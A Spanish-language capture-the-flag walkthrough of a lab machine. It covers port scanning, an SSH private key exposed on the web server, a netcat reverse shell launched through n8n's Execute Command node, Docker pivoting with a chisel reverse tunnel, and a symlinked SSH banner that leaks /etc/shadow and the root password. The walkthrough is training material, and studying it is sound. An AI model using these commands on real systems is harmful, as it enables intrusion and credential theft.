Enumeración
Identificamos la IP de la máquina víctima:
❯ arp-scan --interface=wlo1 --localnet | grep PCS | awk '{print $1}'
10.214.65.125Enumeramos puertos:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 10.214.65.125
[sudo] contraseña para wh01s17:
Starting Nmap 7.97 ( https://nmap.org ) at 2025-08-16 19:31 -0400
Nmap scan report for 10.214.65.125
Host is up (0.00014s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
5678/tcp open rrac
MAC Address: 08:00:27:B9:FF:96 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 1.08 seconds❯ nmap -sCV -p 80,5678 -oN 02-targeted.txt 10.214.65.125
Starting Nmap 7.97 ( https://nmap.org ) at 2025-08-16 19:32 -0400
Nmap scan report for 10.214.65.125
Host is up (0.00049s latency).
PORT STATE SERVICE VERSION
80/tcp open http nginx
|_http-title: Site doesn't have a title (text/html).
5678/tcp open rrac?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Content-Type: text/html; charset=UTF-8
| Content-Length: 1975
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <script type="module" crossorigin src="/assets/polyfills-DfOJfMlf.js"></script>
| window.BASE_PATH = '/';
| window.REST_ENDPOINT = 'rest';
| <script src="/rest/sentry.js"></script>
...
1 service unrecognized despite returning data. ...
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.10 secondsClave SSH expuesta en la web
El puerto 80 expone directamente una id_rsa:
❯ curl http://10.214.65.125/
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACComGN9cfmTL7x35hlgu2RO+QW3WwCmBLSF++ZOgi9uwgAAAJAczctSHM3L
UgAAAAtzc2gtZWQyNTUxOQAAACComGN9cfmTL7x35hlgu2RO+QW3WwCmBLSF++ZOgi9uwg
AAAEAnYotUqBFoopjEVz9Sa9viQ8AhNVTx0K19TC7YQyfwAqiYY31x+ZMvvHfmGWC7ZE75
BbdbAKYEtIX75k6CL27CAAAACnNoYXdhQGhlcm8BAgM=
-----END OPENSSH PRIVATE KEY-----El bloque base64 de la clave incluye, al final, el comentario con el nombre de usuario. Lo decodificamos:
❯ echo 'b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACComGN9cfmTL7x35hlgu2RO+QW3WwCmBLSF++ZOgi9uwgAAAJAczctSHM3L
UgAAAAtzc2gtZWQyNTUxOQAAACComGN9cfmTL7x35hlgu2RO+QW3WwCmBLSF++ZOgi9uwg
AAAEAnYotUqBFoopjEVz9Sa9viQ8AhNVTx0K19TC7YQyfwAqiYY31x+ZMvvHfmGWC7ZE75
BbdbAKYEtIX75k6CL27CAAAACnNoYXdhQGhlcm8BAgM=' | base64 -d
...
shawa@hero
...n8n Workflow Command Execution
El puerto 5678 ejecuta n8n, una plataforma de automatización de workflows. El registro está disponible y permite crear una cuenta con acceso al nodo Execute Command. Ese nodo no es sólo una acción visual: ejecuta el comando configurado dentro del entorno donde corre n8n, con la identidad del usuario node.
Email: pwned@pwned.com
First Name: pwned
Last Name: pwned
Password: Pwned420
8+ characters, at least 1 number and 1 capital letterCreamos un nuevo workflow, buscamos el nodo "Execute command" e ingresamos:
nc 10.214.65.50 1234 -e /bin/shDejamos ncat a la escucha y pulsamos "Test step":
❯ ncat -nlvp 1234
Ncat: Version 7.97 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.214.65.125:39519.
whoami
node
id
uid=1000(node) gid=1000(node) groups=1000(node)Docker Network Pivoting mediante chisel
En la raíz encontramos el fichero .dockerenv, lo que indica que estamos dentro de un contenedor. Verificamos la IP:
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
4: eth0@if5: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP
link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0
valid_lft forever preferred_lft foreverLa IP del contenedor es 172.17.0.2/16, por lo que suponemos que la del host es 172.17.0.1. Escaneamos sus primeros 100 puertos con un pequeño script en bash (no hay nmap en el contenedor):
for port in $(seq 1 100); do timeout 0.1 nc -z 172.17.0.1 $port 2>/dev/null && echo "Puerto abierto: $port"; done
Puerto abierto: 22
Puerto abierto: 80Hacemos remote forwarding con chisel para exponer el SSH del host (172.17.0.1:22) en nuestro localhost:2222:
❯ ./chisel server -p 5000 --reverse
./chisel client 10.214.65.50:5000 R:2222:172.17.0.1:22El túnel se establece desde el contenedor hacia nuestra máquina, pero transporta en sentido inverso las conexiones recibidas en localhost:2222:
// renderizando diagrama…
Iniciamos la conexión SSH contra el túnel, usando la clave de shawa (el host es Alpine):
❯ ssh shawa@localhost -i id_rsa -p 2222
shawa was here.
Welcome to Alpine!
The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See <https://wiki.alpinelinux.org/>.
You can setup the system with the command: setup-alpine
You may change this message by editing /etc/motd.
hero:~$Obtenemos shell y la primera flag.
Arbitrary File Read mediante Symlink Following
Listamos /opt y notamos el banner.txt:
hero:/opt$ ls -l
total 8
-rw-rw-rw- 1 root root 16 Feb 6 2025 banner.txt
drwx--x--x 4 root root 4096 Feb 6 2025 containerd
hero:/opt$ cat banner.txt
shawa was here.El contenido de banner.txt (shawa was here.) coincide con el mensaje que SSH muestra al iniciar sesión. El archivo es modificable por shawa, pero un proceso privilegiado lo abre e imprime durante el login sin impedir que sea un enlace simbólico. Este Symlink Following hace que el proceso termine leyendo el destino elegido por el usuario. Reemplazamos el banner por un enlace a /etc/shadow:
hero:/opt$ mv banner.txt banner.txt.bak
hero:/opt$ ln -s /etc/shadow banner.txt
hero:/opt$ ls -la
total 16
drw-rw-rwx 3 root root 4096 Aug 17 00:55 .
drwxr-xr-x 21 root root 4096 Feb 6 2025 ..
lrwxrwxrwx 1 shawa shawa 11 Aug 17 00:55 banner.txt -> /etc/shadow
-rw-rw-rw- 1 root root 16 Feb 6 2025 banner.txt.bak
drwx--x--x 4 root root 4096 Feb 6 2025 containerdReiniciamos la conexión SSH y, en lugar del banner, recibimos el contenido de /etc/shadow (y una contraseña que parece dejada como pista):
❯ ssh shawa@localhost -i id_rsa -p 2222
#Imthepassthaty0uwant!
root:$6$WBuW3zyLro0fagui$gq9zWbt3gEpo26gkIjtgjYZqjCJtjJrJO9EHaWkglVZWwWhQiiSNmMGejRn.Q58Z9knsWP59OQqLPgt2NAWd80:20125:
...
shawa:$6$24FnSb8jAyKUSa4W$Z7fiPgCy1q8VTg6eF0tVe2cjlHfZEB.fswQyBWoZdY3PwV6VyckxP8OhskWf/Kgx881HhsT2uWvVPTGRpJ43T.:20125:0:99999:7:::
Welcome to Alpine!
...
hero:~$La contraseña del inicio (#Imthepassthaty0uwant!) resulta ser la de root:
hero:~$ su root
Password: Imthepassthaty0uwant!
/home/shawa # whoami
rootObtenemos la segunda flag.
Fin.